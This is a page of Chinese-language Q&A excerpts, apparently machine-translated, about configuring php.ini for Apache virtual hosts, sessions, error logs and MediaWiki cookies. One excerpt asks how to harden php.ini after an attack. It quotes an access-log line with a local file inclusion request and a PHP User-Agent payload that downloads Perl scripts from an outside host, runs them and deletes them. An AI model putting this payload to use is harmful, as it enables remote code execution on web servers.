Articles of php.ini

如何禁用一个Apache虚拟主机上的PHP邮件function?

我想通过Apache2虚拟主机configuration文件禁用PHP函数邮件。 我想要做一个虚拟主机,而不是所有的虚拟主机,我不想在php.ini中禁用此function 如何正确地做到这一点? 提前致谢!

在Xampp中使用每个虚拟主机的单独的php.ini文件

我的网站主机提供单独的php.ini文件,每个网站的根,这是非常有用的,因为我托pipe一些网站,需要不同的PHP设置。 但是在我使用Xampp的开发系统中,我只能find一个全局的php.ini文件,这使得每个虚拟主机的设置变得相当困难。 有谁知道是否可以改变Xampp设置(或Apache / PHP?),以允许单独的php.ini文件每个虚拟主机? 谢谢

将会话文件存储在PHP中的不同目录中

我有几个站点托pipe在同一台服务器上,在不同的目录(例如:server.com/site_one,server.com/site_two),我想将每个站点的会话文件存储在不同的目录中。 我怎么做? 谢谢!

对cli的php.ini所做的更改不起作用

我有两个php.ini文件 – /etc/php.ini加载在cli的情况下 浏览器加载的/opt/lampp/etc/php.ini 。 在/opt/lampp/etc/php.ini中添加行extension=mailparse.so /opt/lampp/etc/php.ini并重新启动lampp后,我可以使用PHP的Mailparse扩展。 但是,我不能加载相同的命令行的情况下 – 获取PHP Fatal error: Call to undefined function mailparse_msg_create() in … mailparse_msg_create()是Mailparse扩展的一部分。 我做了改变,甚至重新启动系统后,用户重新logging。 需要做什么才能使变更生效。 更新 我检查了这个php -i | grep 'Configuration File' php -i | grep 'Configuration File'给出 PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib/php/modules/mailparse.so' – /usr/lib/php/modules/mailparse.so: cannot open shared object file: No such file […]

configurationphp.ini以防止攻击

我在共享主机服务器(heartinternet)上遭到攻击,他们说我应该正确configuration我自己的php.ini文件。 那么我有一个小的PHP / MySQL程序与注册function,一个小的pipe理网站,但有人入侵它。 configuration一个php.ini文件能够防止这样的攻击的一般方法是什么? 任何好的设置将非常感激。 这是我从networking主机提供者得到的: 121.254.216.170 – – [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>" 由于脚本注入本身攻击站点代码,因此能够完全避免Web服务器的安全性。 不幸的是,一些内容pipe理系统(特别是旧版本的Joomla)非常容易受到这种攻击。 删除攻击者使用这种方法的一个简单方法是在网站的顶层添加一个php.ini文件,内容如下 – 尽pipe如此,网站将需要testing,以确保没有合法的网站脚本操作已经受到这种变化的影响: php.ini指令是… allow_url_include = […]

Suhosin每URL的例外?

我正在使用SimpleID作为我的OpenID提供程序,事实certificate,如果通过类似于StackExchange的页面login,则Suhosin将取消GET请求的参数之一。 variables的名称是s ,我认为它是负责login后的“返回URL”部分。 所有这些都不是问题,只要我已经从之前login过SimpleID。 但是,一旦我想通过OpenIDlogin的站点在SimpleID的login屏幕上结束,那么由于丢弃的variables,redirect回到我来自的站点不再工作了。 有没有一种方法可以在每个虚拟主机上或基于每个URL的基础上configuration,忽略参数s超过(全局)设置限制的GET请求的最大长度? 我使用的是Apache 2.2,所以我想知道是否有类似于从服务器configuration中设置PHP inivariables的机制存在于Suhosin中。

无法configurationPHP错误日志

我在Linux Mint 13 Maya上用php5运行apache2。 我已经定义了一个虚拟主机和这两个条目: ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined 这会在var/log/apache2产生错误和访问日志。 我想让我的PHP错误进入PHP错误日志。 在我的/etc/php5/apache2/php.ini我已经设置: display_errors = On log_errors = On error_log = /var/log/php-errors.log log_errors_max_len = 0 error_reporting = E_ALL | E_STRICT 生成了日志文件/var/log/php-errors.log ,但是它所logging的是两个警告,一些模块已经加载。 我试图在虚拟主机defintion中注释掉日志指令,但是这并没有改变,所有的错误仍然logging在Apache日志中。 我在这里错过了什么?

亚马逊Linux,PHP 5.5:php.ini被忽略

在我们的Amazon EC2实例中,我卸载了PHP5.3( yum remove php )并安装了PHP 5.5,它也捆绑在Apache 2.4( yum install php54 )中。 出于某种原因,我的php.ini文件不再被读取。 它看起来像它可能会被弃用,也许我应该使用/etc/php-5.5.ini而不是 – 但也没有被阅读! (奇怪的是,我找不到任何文档。谷歌search“php-5.5.ini”(带引号)返回没有帮助的结果! 运行php –ini ,我得到这个: [ec2-user@ip ~]$ php –ini Configuration File (php.ini) Path: /etc/php-5.5.d Loaded Configuration File: /etc/php-5.5.d/php.ini Scan for additional .ini files in: /etc/php-5.5.d Additional .ini files parsed: /etc/php-5.5.d/apc.ini, /etc/php-5.5.d/bz2.ini, /etc/php-5.5.d/calendar.ini, /etc/php-5.5.d/ctype.ini, /etc/php-5.5.d/curl.ini, /etc/php-5.5.d/dom.ini, /etc/php-5.5.d/exif.ini, /etc/php-5.5.d/fileinfo.ini, /etc/php-5.5.d/ftp.ini, /etc/php-5.5.d/gd.ini, /etc/php-5.5.d/gettext.ini, […]

我怎样才能让我的mediawiki停止思考我的cookies被禁用?

我已经search了半天,如何解决这个问题,并不能弄清楚。 根据Mediawiki网站上的说明,我在维基上创build了一个简单的私人维基后不久,就开始给我这个奇怪的login错误信息: 维基使用cookieslogin用户。 你有cookies被禁用。 请启用它们,然后重试。 如果我删除了这些私人维基设置,即使我尝试login,错误也会消失。但是,我只需要它成为我的团队的私人维基。 那我该怎么办? 这是迄今为止我所做的。 为了安全起见,在改变之后,我试着重新启动Apache: sudo /etc/init.d/apache2 restart 在我的php.ini文件中,我有以下设置: session.save_path =“/ var / lib / php5” session.cookie_secure =安全 session.cookie_path = / tmp session.cookie_domain =我的服务器的内部URL(我应该甚至设置这个?这个字段是空的,但没有注释掉) session.referer_check =关 我运行以下以确保文件夹是可写的: sudo chmod -R 1777 / var / lib / php5 sudo chmod -R 1777 / tmp 在我的LocalSettings.php文件中,我将以下内容添加到设置文件的底部: session_save_path( “TMP”); $ wgSessionsInObjectCache = true; $ […]

我如何让Apache为不同的域使用不同的本地PHP.ini?

是否有某种.htaccess指令。 我没有访问httpd.conf。 我有一个fastcgi / cgi模块中的php5。 多个域。 但由于某些原因,所有的域名都指向第一个域php.ini(我在脚本中安装了php) 不知道是否编译到构build,或者如果有一些设置我可以改变某个地方 非常感谢!